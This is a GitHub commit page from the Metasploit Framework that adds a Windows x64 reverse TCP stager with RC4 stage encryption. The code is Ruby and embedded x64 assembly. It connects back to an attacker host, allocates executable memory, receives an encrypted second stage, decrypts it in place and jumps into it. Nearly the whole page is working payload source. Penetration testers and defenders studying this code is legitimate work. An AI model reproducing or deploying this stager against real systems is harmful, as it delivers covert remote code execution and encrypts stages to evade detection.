Skip to content

Commit

Permalink
ReLand #9565, Reverse TCP x64 RC4 via max3raza's rc4_x64 asm
Browse files Browse the repository at this point in the history
This reverts commit 7964868.
  • Loading branch information
bwatters-r7 committed Mar 2, 2018
1 parent 938f101 commit 0d07d44
Show file tree
Hide file tree
Showing 4 changed files with 331 additions and 2 deletions.
97 changes: 97 additions & 0 deletions lib/msf/core/payload/windows/x64/rc4.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,97 @@
# -*- coding: binary -*-

require 'msf/core'

module Msf

###
#
# RC4 decryption stub for Windows ARCH_X64 payloads
#
###
module Payload::Windows::Rc4_x64
#
# Register rc4 specific options
#
def initialize(*args)
super
register_options([ OptString.new('RC4PASSWORD', [true, 'Password to derive RC4 key from', 'msf']) ], self.class)
end

#
# Generate assembly code that decrypts RC4 shellcode in-place
#

def asm_decrypt_rc4
%!
;-----------------------------------------------------------------------------;
; Author: max3raza
; Version: 1.0 (12 January 2018)
;-----------------------------------------------------------------------------;
; Input: R9 - Data to decode
; RCX - Data length
; RSI - Key (16 bytes for simplicity and smaller code)
; RDI - pointer to 0x100 bytes scratch space for S-box
; Direction flag has to be cleared
; Output: None. Data is decoded in place.
; Clobbers: RAX, RBX, RCX, RDX, R8, R9, RDI (stack is not used)
; Initialize S-box
xor rax, rax ; Start with 0
mov r8, rdi ; Save pointer to S-box
init:
stosb ; Store next S-Box byte S[i] = i
inc al ; increase byte to write (RDI is increased automatically)
jnz init ; loop until we wrap around
; permute S-box according to key
xor rbx, rbx ; Clear RBX (RAX is already cleared)
permute:
add bl, [r8+rax] ; BL += S[AL] + KEY[AL % 16]
mov rdx, rax
and dl, 0xF
add bl, [rsi+rdx]
mov dl, [r8+rax] ; swap S[AL] and S[BL]
xchg dl, [r8+rbx]
mov [r8+rax], dl
inc al ; AL += 1 until we wrap around
jnz permute
; decryption loop
xor rbx, rbx ; Clear RBX (RAX is already cleared)
decrypt:
inc al ; AL += 1
add bl, [r8+rax] ; BL += S[AL]
mov dl, [r8+rax] ; swap S[AL] and S[BL]
xchg dl, [r8+rbx]
mov [r8+rax], dl
add dl, [r8+rbx] ; DL = S[AL]+S[BL]
mov dl, [r8+rdx] ; DL = S[DL]
xor [r9], dl ; [R9] ^= DL
inc r9 ; advance data pointer
dec rcx ; reduce counter
jnz decrypt ; until finished
!
end

def generate_stage(opts = {})
p = super(opts)
xorkey, rc4key = rc4_keys(datastore['RC4PASSWORD'])
c1 = OpenSSL::Cipher.new('RC4')
c1.decrypt
c1.key = rc4key
p = c1.update(p)
[ p.length ^ xorkey.unpack('V')[0] ].pack('V') + p
end

def handle_intermediate_stage(_conn, _payload)
false
end

private

def rc4_keys(rc4pass = '')
m = OpenSSL::Digest.new('sha1')
m.reset
key = m.digest(rc4pass)
[key[0, 4], key[4, 16]]
end
end
end
12 changes: 10 additions & 2 deletions lib/msf/core/payload/windows/x64/reverse_tcp.rb
Original file line number Diff line number Diff line change
Expand Up @@ -69,6 +69,7 @@ def generate_reverse_tcp(opts={})
start:
pop rbp ; block API pointer
#{asm_reverse_tcp(opts)}
#{asm_block_recv(opts)}
^
Metasm::Shellcode.assemble(Metasm::X64.new, combined_asm).encode_string
end
Expand Down Expand Up @@ -105,7 +106,6 @@ def required_space
#
def asm_reverse_tcp(opts={})

reliable = opts[:reliable]
retry_count = [opts[:retry_count].to_i, 1].max
encoded_port = [opts[:port].to_i,2].pack("vn").unpack("N").first
encoded_host = Rex::Socket.addr_aton(opts[:host]||"127.127.127.127").unpack("V").first
Expand Down Expand Up @@ -191,7 +191,15 @@ def asm_reverse_tcp(opts={})
^
asm << asm_send_uuid if include_send_uuid

asm << %Q^
asm

end

def asm_block_recv(opts={})

reliable = opts[:reliable]

asm = %Q^
recv:
; Receive the size of the incoming second stage...
sub rsp, 16 ; alloc some space (16 bytes) on stack for to hold the
Expand Down
189 changes: 189 additions & 0 deletions lib/msf/core/payload/windows/x64/reverse_tcp_rc4.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,189 @@
# -*- coding: binary -*-

require 'msf/core'
require 'msf/core/payload/windows/x64/reverse_tcp'
require 'msf/core/payload/windows/x64/rc4'

module Msf

###
#
# Complex reverse_tcp payload generation for Windows ARCH_X64
#
###

module Payload::Windows::ReverseTcpRc4_x64

include Msf::Payload::Windows::ReverseTcp_x64
include Msf::Payload::Windows::Rc4_x64

#
# Generate the first stage
#
def generate
xorkey, rc4key = rc4_keys(datastore['RC4PASSWORD'])
conf = {
port: datastore['LPORT'],
host: datastore['LHOST'],
retry_count: datastore['ReverseConnectRetries'],
xorkey: xorkey,
rc4key: rc4key,
reliable: false
}

# Generate the advanced stager if we have space
if self.available_space && required_space <= self.available_space
conf[:exitfunk] = datastore['EXITFUNC']
conf[:reliable] = true
end

generate_reverse_tcp_rc4(conf)
end

#
# By default, we don't want to send the UUID, but we'll send
# for certain payloads if requested.
#
def include_send_uuid
false
end

#
# Generate and compile the stager
#
def generate_reverse_tcp_rc4(opts={})
combined_asm = %Q^
cld ; Clear the direction flag.
and rsp, ~0xF ; Ensure RSP is 16 byte aligned
call start ; Call start, this pushes the address of 'api_call' onto the stack.
#{asm_block_api}
start:
pop rbp ; block API pointer
#{asm_reverse_tcp(opts)}
#{asm_block_recv_rc4(opts)}
^
Metasm::Shellcode.assemble(Metasm::X64.new, combined_asm).encode_string
end

def asm_block_recv_rc4(opts={})
xorkey = Rex::Text.to_dword(opts[:xorkey]).chomp
reliable = opts[:reliable]
asm = %Q^
recv:
; Receive the size of the incoming second stage...
sub rsp, 16 ; alloc some space (16 bytes) on stack for to hold the
; second stage length
mov rdx, rsp ; set pointer to this buffer
xor r9, r9 ; flags
push 4 ;
pop r8 ; length = sizeof( DWORD );
mov rcx, rdi ; the saved socket
mov r10d, #{Rex::Text.block_api_hash('ws2_32.dll', 'recv')}
call rbp ; recv( s, &dwLength, 4, 0 );
^

if reliable
asm << %Q^
; reliability: check to see if the recv worked, and reconnect
; if it fails
cmp eax, 0
jle cleanup_socket
^
end

asm << %Q^
add rsp, 32 ; we restore RSP from the api_call so we can pop off RSI next
; Alloc a RWX buffer for the second stage
pop rsi ; pop off the second stage length
mov esi, esi ; only use the lower-order 32 bits for the size
xor esi, #{xorkey} ; XOR the stage length
lea r11, [rsi+0x100] ; R11 = stage length + S-box length (alloc length)
push 0x40 ;
pop r9 ; PAGE_EXECUTE_READWRITE
push 0x1000 ;
pop r8 ; MEM_COMMIT
mov rdx, rsi ; the newly recieved second stage length.
xor rcx,rcx ; NULL as we dont care where the allocation is.
mov r10d, #{Rex::Text.block_api_hash('kernel32.dll', 'VirtualAlloc')}
call rbp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE );
; Receive the second stage and execute it...
; mov rbx, rax ; rbx = our new memory address for the new stage
lea rbx, [rax+0x100]
; mov r15, rax ; save the address so we can jump into it later
mov r15, rbx
push rbx ; save stage address
push rsi ; push stage length
push rax ; push the address of the S-box
read_more: ;
xor r9, r9 ; flags
mov r8, rsi ; length
mov rdx, rbx ; the current address into our second stages RWX buffer
mov rcx, rdi ; the saved socket
mov r10d, #{Rex::Text.block_api_hash('ws2_32.dll', 'recv')}
call rbp ; recv( s, buffer, length, 0 );
add rsp, 32 ; restore stack after api_call
^

if reliable
asm << %Q^
; reliability: check to see if the recv worked, and reconnect
; if it fails
cmp eax, 0
jge read_successful
; something failed so free up memory
pop rax
push r15
pop rcx ; lpAddress
push 0x4000 ; MEM_COMMIT
pop r8 ; dwFreeType
push 0 ; 0
pop rdx ; dwSize
mov r10d, #{Rex::Text.block_api_hash('kernel32.dll', 'VirtualFree')}
call rbp ; VirtualFree(payload, 0, MEM_COMMIT)
cleanup_socket:
; clean up the socket
push rdi ; socket handle
pop rcx ; s (closesocket parameter)
mov r10d, #{Rex::Text.block_api_hash('ws2_32.dll', 'closesocket')}
call rbp
; and try again
dec r14 ; decrement the retry count
jmp create_socket
^
end

asm << %Q^
read_successful:
add rbx, rax ; buffer += bytes_received
sub rsi, rax ; length -= bytes_received
; test rsi, rsi ; test length
jnz read_more ; continue if we have more to read
mov r14, rdi ; save socket handle
pop rdi ; address of S-box
pop rcx ; stage length
pop r9 ; address of stage
push r14 ; save socket
call after_key ; Call after_key, this pushes the address of the key onto the stack.
db #{raw_to_db(opts[:rc4key])}
after_key:
pop rsi ; rsi = RC4 key
#{asm_decrypt_rc4}
pop rdi ; restrore socket handle
jmp r15 ; return into the second stage
^

if opts[:exitfunk]
asm << asm_exitfunk(opts)
end

asm
end

end

end
35 changes: 35 additions & 0 deletions modules/payloads/stagers/windows/x64/reverse_tcp_rc4.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,35 @@
# -*- coding: binary -*-
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core/handler/reverse_tcp'
require 'msf/core/payload/windows/x64/reverse_tcp_rc4'


module MetasploitModule

CachedSize = 398

include Msf::Payload::Stager
include Msf::Payload::Windows::ReverseTcpRc4_x64

def self.handler_type_alias
"reverse_tcp_rc4"
end

def initialize(info = {})
super(merge_info(info,
'Name' => 'Reverse TCP Stager (RC4 Stage Encryption, Metasm)',
'Description' => 'Connect back to the attacker',
'Author' => ['hdm', 'skape', 'sf', 'mihi', 'max3raza', 'RageLtMan'],
'License' => MSF_LICENSE,
'Platform' => 'win',
'Arch' => ARCH_X64,
'Handler' => Msf::Handler::ReverseTcp,
'Convention' => 'sockrdi',
'Stager' => { 'RequiresMidstager' => false }
))
end
end

0 comments on commit 0d07d44

Please sign in to comment.